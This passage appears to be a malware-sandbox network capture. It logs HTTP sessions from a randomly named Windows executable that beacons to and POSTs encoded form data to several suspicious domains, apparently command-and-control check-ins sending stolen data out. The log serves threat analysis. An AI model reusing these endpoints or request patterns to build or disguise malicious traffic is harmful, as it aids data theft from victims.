Sep 11, 2024 11:19:36.377923965 CEST	499	OUT	GET /3lu7/?pP_8=nzWofdhWpyQTuQkDfxpOhZSR2SP28ZN4SJ26h7kwykQFM8AQx5IfrLSrYivs6QFJHI8FrKvcoPkOi5L1XFRCLbCiXi5UAF8H0knLfKrCbz8tBFYRfGccZ0A=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mfgarage.net Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:19:37.159225941 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=969; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:37 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=vbrAm6JgxxWIY4c266e160a9; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:37 GMT; Path=/; Secure; SameSite=None set-cookie: csss=3VnBvPwreAgHcqpBf4plQWsouJIG7YQ-cZdP0knthwRKHA93c1Kh9Fd195HdPNRpU9icFYpLgxpGjBaf39RBiA; Domain=.sahibinden.com; Expires=Wed, 11-Sep-2024 09:49:37 GMT; Path=/; Secure; SameSite=None set-cookie: csls=1QX2ysecUluM4Nd-DFVomhV_IraIe3rwA-JOcsdx--yLCoDNcMQ7etSNxCcOCfaIsAl16Ox_IV4MMs1RYeN4eg; Domain=.sahibinden.com; Expires=Thu, 11-Sep-2025 09:19:37 GMT; Path=/; Secure; SameSite=None set-cookie: csid=bBr7MjBxl7RAxeLYzzlB-daF2BBJYPsZaPilYggYh6fBv2LiqH5NC68GMRuX1CTkO0ameNHjRb-YGYgzMVFd7Q3LRg5hNaW53ZUufhAi3aUEhsnds1JzpG4ttJabTjEIqAakLLP9OFhleQLIcYCC0BPpBsY2LRZr8Mo7Si72g_uf-2UDHx51UlPNTM8W-hx771As7apiswjmuVzd5gxaiC3DowIdf70hErDFzk5bVVEjYgadSq3AruaChaPif5qN1oBybl2LM0UHqcQSu_WMWEs5Oou8cRZyl03IpKyTWQmS-rZVpb7sxFFxdFPHoDJ7lz9lC0D6mJ Data Raw: Data Ascii:
Sep 11, 2024 11:19:37.159240007 CEST	555	IN	Data Raw: 77 36 41 4f 62 31 43 70 66 59 35 51 59 31 47 43 6d 62 79 72 48 5a 4e 6c 68 57 68 62 62 6e 48 48 75 37 51 46 50 34 73 72 48 6a 47 58 5a 6d 73 54 4a 46 75 47 45 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: w6AOb1CpfY5QY1GCmbyrHZNlhWhbbnHHu7QFP4srHjGXZmsTJFuGE; Domain=.sahibinden.com; Expires=Wed, 11-Sep-2024 09:34:37 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	63353	104.21.11.31	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:42.325709105 CEST	766	OUT	POST /zznj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.b5x7vk.agency Origin: http://www.b5x7vk.agency Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.b5x7vk.agency/zznj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 61 50 58 36 63 68 65 4c 6d 4f 73 63 6d 6c 34 53 35 37 43 2b 76 61 6b 7a 7a 52 77 7a 54 4f 35 6e 36 49 54 37 69 37 54 54 76 52 69 52 42 69 7a 36 79 5a 4f 44 66 38 45 4f 79 31 37 34 48 72 78 71 50 58 38 66 32 41 50 6e 72 2b 33 4d 4f 54 41 45 4b 71 32 71 55 32 32 45 30 6c 62 72 69 69 34 56 37 61 43 6f 4a 4e 38 47 37 51 71 57 5a 42 6c 58 36 68 53 4c 6a 67 56 34 54 35 58 65 69 57 4f 62 76 30 57 64 59 6f 67 59 36 52 52 62 30 6a 35 61 6b 36 53 75 4d 55 2b 38 53 34 49 64 32 53 6f 57 44 54 62 69 2f 59 6c 4f 4c 53 51 5a 39 2f 33 4c 78 53 72 2f 43 47 74 69 44 61 72 7a 4b 73 73 50 46 51 3d 3d Data Ascii: pP_8=aPX6cheLmOscml4S57C+vakzzRwzTO5n6IT7i7TTvRiRBiz6yZODf8EOy174HrxqPX8f2APnr+3MOTAEKq2qU22E0lbrii4V7aCoJN8G7QqWZBlX6hSLjgV4T5XeiWObv0WdYogY6RRb0j5ak6SuMU+8S4Id2SoWDTbi/YlOLSQZ9/3LxSr/CGtiDarzKssPFQ==
Sep 11, 2024 11:19:43.317822933 CEST	774	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:19:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l232qS49SdojLUekuh%2FJBVEjw2nt63OCqRz4Y1IEYZLsUAryQX2p45V0WS6iFd5wW%2Bs5fmMZCy1FrxZqmyW9FkT1PHNJCtOwHflCZbxOizhzjWz%2Fue7aDglh0VWz9Vy7dya7Lg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c1693e40ae472a7-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	63354	104.21.11.31	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:44.862307072 CEST	786	OUT	POST /zznj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.b5x7vk.agency Origin: http://www.b5x7vk.agency Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.b5x7vk.agency/zznj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 61 50 58 36 63 68 65 4c 6d 4f 73 63 30 57 51 53 34 63 32 2b 37 4b 6b 77 38 78 77 7a 49 65 35 6a 36 50 62 37 69 36 6e 44 76 44 32 52 42 48 50 36 78 62 6d 44 4d 4d 45 4f 35 56 36 7a 5a 62 77 6b 50 58 77 39 32 46 50 6e 72 2b 54 4d 4f 54 77 45 4a 5a 75 70 55 6d 32 38 2f 46 62 74 73 43 34 56 37 61 43 6f 4a 4e 6f 67 37 51 43 57 59 78 31 58 37 43 4b 49 67 67 56 37 53 35 58 65 6d 57 4f 66 76 30 57 2f 59 6f 52 51 36 55 64 62 30 6a 4a 61 6b 50 75 74 58 6b 2b 36 4e 6f 4a 43 78 78 64 50 61 78 36 65 35 5a 35 75 44 6a 73 31 38 35 6d 52 67 6a 4b 6f 51 47 4a 52 65 64 69 48 48 76 52 47 65 64 79 65 58 68 34 42 50 68 33 36 48 5a 67 69 39 4f 39 78 7a 56 49 3d Data Ascii: pP_8=aPX6cheLmOsc0WQS4c2+7Kkw8xwzIe5j6Pb7i6nDvD2RBHP6xbmDMMEO5V6zZbwkPXw92FPnr+TMOTwEJZupUm28/FbtsC4V7aCoJNog7QCWYx1X7CKIggV7S5XemWOfv0W/YoRQ6Udb0jJakPutXk+6NoJCxxdPax6e5Z5uDjs185mRgjKoQGJRediHHvRGedyeXh4BPh36HZgi9O9xzVI=
Sep 11, 2024 11:19:45.850116968 CEST	778	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:19:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jsvWIlM4trV5Y%2BZqVpfvd%2FhHbUYPy9y4ovQoz47zHx%2FrfYcn4NnWtAG8HNJhcRZciluubY22hcNb2bC55%2F4JMWfdr2BecV%2FZR1XSBM9IqVWxxfcNgfAvZFRqKbTFqbXKyxn4NQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c1693f3df4a0f4a-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	63355	104.21.11.31	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:47.407268047 CEST	10868	OUT	POST /zznj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.b5x7vk.agency Origin: http://www.b5x7vk.agency Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.b5x7vk.agency/zznj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 61 50 58 36 63 68 65 4c 6d 4f 73 63 30 57 51 53 34 63 32 2b 37 4b 6b 77 38 78 77 7a 49 65 35 6a 36 50 62 37 69 36 6e 44 76 44 4f 52 42 31 58 36 79 36 6d 44 50 4d 45 4f 36 56 36 77 5a 62 78 34 50 58 6f 35 32 46 4c 33 72 38 37 4d 49 77 34 45 65 59 75 70 62 6d 32 38 77 6c 62 73 69 69 34 36 37 61 53 73 4a 4e 34 67 37 51 43 57 59 33 35 58 38 52 53 49 76 41 56 34 54 35 58 61 69 57 4f 6e 76 30 50 41 59 73 4d 79 35 67 68 62 7a 44 5a 61 33 4a 36 74 62 6b 2b 34 4d 6f 4a 4b 78 78 42 71 61 78 58 76 35 5a 64 49 44 6a 49 31 38 4e 37 6f 6e 41 61 53 4f 47 52 33 43 71 36 34 41 50 78 4c 51 74 47 47 59 52 51 68 61 52 2f 69 50 34 46 41 6e 37 70 4f 73 78 6c 4b 62 2b 57 71 4e 4d 4f 6c 70 65 55 4f 46 4f 77 2b 49 69 74 45 46 68 4f 6d 48 4d 6f 74 2f 67 52 69 51 6c 4a 4e 59 75 52 63 75 74 73 30 52 64 59 4a 53 5a 77 35 53 31 2b 6d 57 6c 46 58 49 7a 41 36 2f 76 2f 59 54 56 6d 43 30 54 67 5a 48 68 58 48 41 63 63 49 55 35 67 51 4c 33 6d 75 63 4f 50 6a 38 30 73 42 6f 68 4c 46 62 6c 66 61 6d 35 69 30 78 4b 78 78 68 [TRUNCATED] Data Ascii: pP_8=aPX6cheLmOsc0WQS4c2+7Kkw8xwzIe5j6Pb7i6nDvDORB1X6y6mDPMEO6V6wZbx4PXo52FL3r87MIw4EeYupbm28wlbsii467aSsJN4g7QCWY35X8RSIvAV4T5XaiWOnv0PAYsMy5ghbzDZa3J6tbk+4MoJKxxBqaxXv5ZdIDjI18N7onAaSOGR3Cq64APxLQtGGYRQhaR/iP4FAn7pOsxlKb+WqNMOlpeUOFOw+IitEFhOmHMot/gRiQlJNYuRcuts0RdYJSZw5S1+mWlFXIzA6/v/YTVmC0TgZHhXHAccIU5gQL3mucOPj80sBohLFblfam5i0xKxxhEOFqCDHlAZNVdzSkE65jB26rs7A2VvjgL4xqMK2IAjC2NoS1f+9MKMRLloxo12nqgf4oc9o5/SE78ABrqkRW+xgoaPjpdzfLOG5FoMZ1MAIEaNI+rOqJJCMO83envsstKyzShOd9LM5LFqgLTlEtTjGn/t6rJlmN00e8DOpLjoimQNYYJNz0UX0bIOHIbYsE8NFDB2kzrULeJpNpDFy5iBWDKC5jE9dyD2jnzg0tUziuybZeXM2HT3TChQr03+LMSN8vgZAA9r/noCI1yc5nn6QE0rSKy8HtJq+JjneEWEGlq4W6D0gDrPp4R1eUFt7b7GZnJKgiMerLW0xeLCAfqMoezhWbEi+wCQ6qCsChglc4MgzMrdiP7HNEhWPGhgjzawOFZGpUlxf+UvK0iavPtTmHJXS84BMzh7EkG/AudeZaijQHYCaxg0/GeAOAIw01c08X+ENiJ2oaxBJ9qs1lmv8otGs93/SVnnKvDrOMfBuz84HDwL4jVhsYgByP1xa98tEfk4AAada26jnYr9xmAfgbomwJZXP9t1ypYlaeFzrM/xUJDcs4Quxu3xYt5aQIXzAoSl3DRD130TC+Ewgvljiyn70dNMroRQWoOAkR9ORQlG1HjV6h5HEHzF5YSFywyeR/jonFZk86IPWi1XQ7Md3c7iYVebnz67 [TRUNCATED]
Sep 11, 2024 11:19:48.377228975 CEST	782	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:19:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F2xuLr1TuQ2KLuTF5lPOxB6q4WsqGUKepN5i%2Bre9rDvTrJ%2F%2B%2B7P6vBkiuL0irh%2Bfg5oTzBo%2BsyZIuBRariB4JmadAGwvx5ZZqUUdwdv3eblw4wuC8zvaYLoolDJBln2VpuJMGw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c169403db5142f2-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	63356	104.21.11.31	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:49.953535080 CEST	500	OUT	GET /zznj/?V0Qh=4pBta8&pP_8=XN/afWzprYUm2zEh/Me8v7IO6BZfJ8ldqsTKqfvYzDGyGH3Qqe2ibLEK4zu3d4hkDWgHsBH7o/PgLSUsZsuwL2SV1lDf+BUf6ZfDIcx/0TWTXhhDzyKZrRs= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.b5x7vk.agency Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:19:50.920229912 CEST	1132	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:19:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xnA3NFqTD91MEVzKU3yAG79CS%2FCoHlLlDjcbJ2qwwOFSMBBWCTyU4pcWJS7ZMMDJRrySg7sT10aKma%2FlsLy%2FhwmthjUexifD2nYoDLR7XxJ9PY29Bhfxg6yjWxP9g0Vq5F1uCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c169413c89d41c1-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	63357	188.114.97.3	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:55.986718893 CEST	757	OUT	POST /altr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.rtpngk.xyz Origin: http://www.rtpngk.xyz Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.rtpngk.xyz/altr/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 59 5a 31 33 33 54 4e 49 34 38 58 64 65 35 33 7a 36 4b 66 38 2f 58 4e 73 33 61 74 4b 6d 73 71 58 70 4b 32 6a 32 57 78 4f 76 44 78 2b 77 49 68 7a 77 63 6d 4f 64 77 72 50 67 63 66 55 32 43 73 34 70 41 55 73 4e 6a 56 37 6d 55 4e 41 62 73 31 75 4a 64 32 72 6b 53 52 4f 33 49 66 50 42 51 32 54 56 34 34 6e 77 4f 32 38 34 61 79 74 77 2f 4e 38 37 42 4d 38 74 59 68 6d 30 63 53 62 73 6c 4a 4c 4b 52 6a 6f 6f 58 59 6e 6f 37 37 66 2f 4a 6e 4e 77 56 4d 6a 53 67 32 39 6b 33 51 43 4d 69 7a 49 61 33 75 79 30 70 78 49 6e 71 74 71 75 2f 67 51 78 6b 43 6e 6f 48 42 70 4e 62 54 6b 50 35 56 6d 72 67 3d 3d Data Ascii: pP_8=YZ133TNI48Xde53z6Kf8/XNs3atKmsqXpK2j2WxOvDx+wIhzwcmOdwrPgcfU2Cs4pAUsNjV7mUNAbs1uJd2rkSRO3IfPBQ2TV44nwO284aytw/N87BM8tYhm0cSbslJLKRjooXYno77f/JnNwVMjSg29k3QCMizIa3uy0pxInqtqu/gQxkCnoHBpNbTkP5Vmrg==
Sep 11, 2024 11:19:56.435580969 CEST	844	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 11 Sep 2024 09:19:56 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Wed, 11 Sep 2024 10:19:56 GMT Location: https://www.rtpngk.xyz/altr/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h%2BKBHNYmdfNxb8dNcz4CPWLUATHjz0MNbQ2HJ35IIpnmzVYZT8zD94VtzfTQ2trtmmzdVTEFsLeSDTkSVjCqMpTrXlr5BCqeWP%2F1Nwf%2BI6O%2B54D9yKtDxK4YPxpmHGBtTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8c16943969d24392-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	63358	188.114.97.3	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:58.536246061 CEST	777	OUT	POST /altr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.rtpngk.xyz Origin: http://www.rtpngk.xyz Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.rtpngk.xyz/altr/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 59 5a 31 33 33 54 4e 49 34 38 58 64 65 5a 48 7a 38 64 72 38 33 58 4e 74 36 4b 74 4b 30 73 71 54 70 4b 79 6a 32 58 45 44 6f 31 42 2b 77 73 70 7a 78 59 79 4f 51 51 72 50 71 38 66 52 34 69 74 30 70 41 49 53 4e 6a 70 37 6d 55 78 41 62 74 6c 75 4a 4e 4b 6b 6c 43 52 4d 69 59 66 65 4d 77 32 54 56 34 34 6e 77 4f 79 61 34 61 71 74 33 50 39 38 30 41 4d 37 6a 34 68 6c 31 63 53 62 6e 46 4a 50 4b 52 69 39 6f 56 73 5a 6f 35 7a 66 2f 49 33 4e 7a 42 34 67 5a 67 32 2f 67 33 51 51 64 79 32 57 52 6c 37 4f 39 72 39 42 68 2b 73 58 69 5a 78 4b 67 56 6a 77 36 48 6c 61 51 63 61 51 43 36 6f 76 77 70 49 74 47 57 70 4f 44 71 74 75 53 4d 48 62 2b 36 43 51 78 41 30 3d Data Ascii: pP_8=YZ133TNI48XdeZHz8dr83XNt6KtK0sqTpKyj2XEDo1B+wspzxYyOQQrPq8fR4it0pAISNjp7mUxAbtluJNKklCRMiYfeMw2TV44nwOya4aqt3P980AM7j4hl1cSbnFJPKRi9oVsZo5zf/I3NzB4gZg2/g3QQdy2WRl7O9r9Bh+sXiZxKgVjw6HlaQcaQC6ovwpItGWpODqtuSMHb+6CQxA0=
Sep 11, 2024 11:19:58.981581926 CEST	838	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 11 Sep 2024 09:19:58 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Wed, 11 Sep 2024 10:19:58 GMT Location: https://www.rtpngk.xyz/altr/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VHAL07MT7La40jbuISBCgvpcrIc%2FngHLO0muijQFYCErD4hzzisNj7J123aZbfQNH8KKbBuMeuvhnhXMHjf80KKNtuyj5lqHM8OIyfujdNuElJ8MeC6i6D8WfDHLYyfbBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8c1694494ce5c40c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 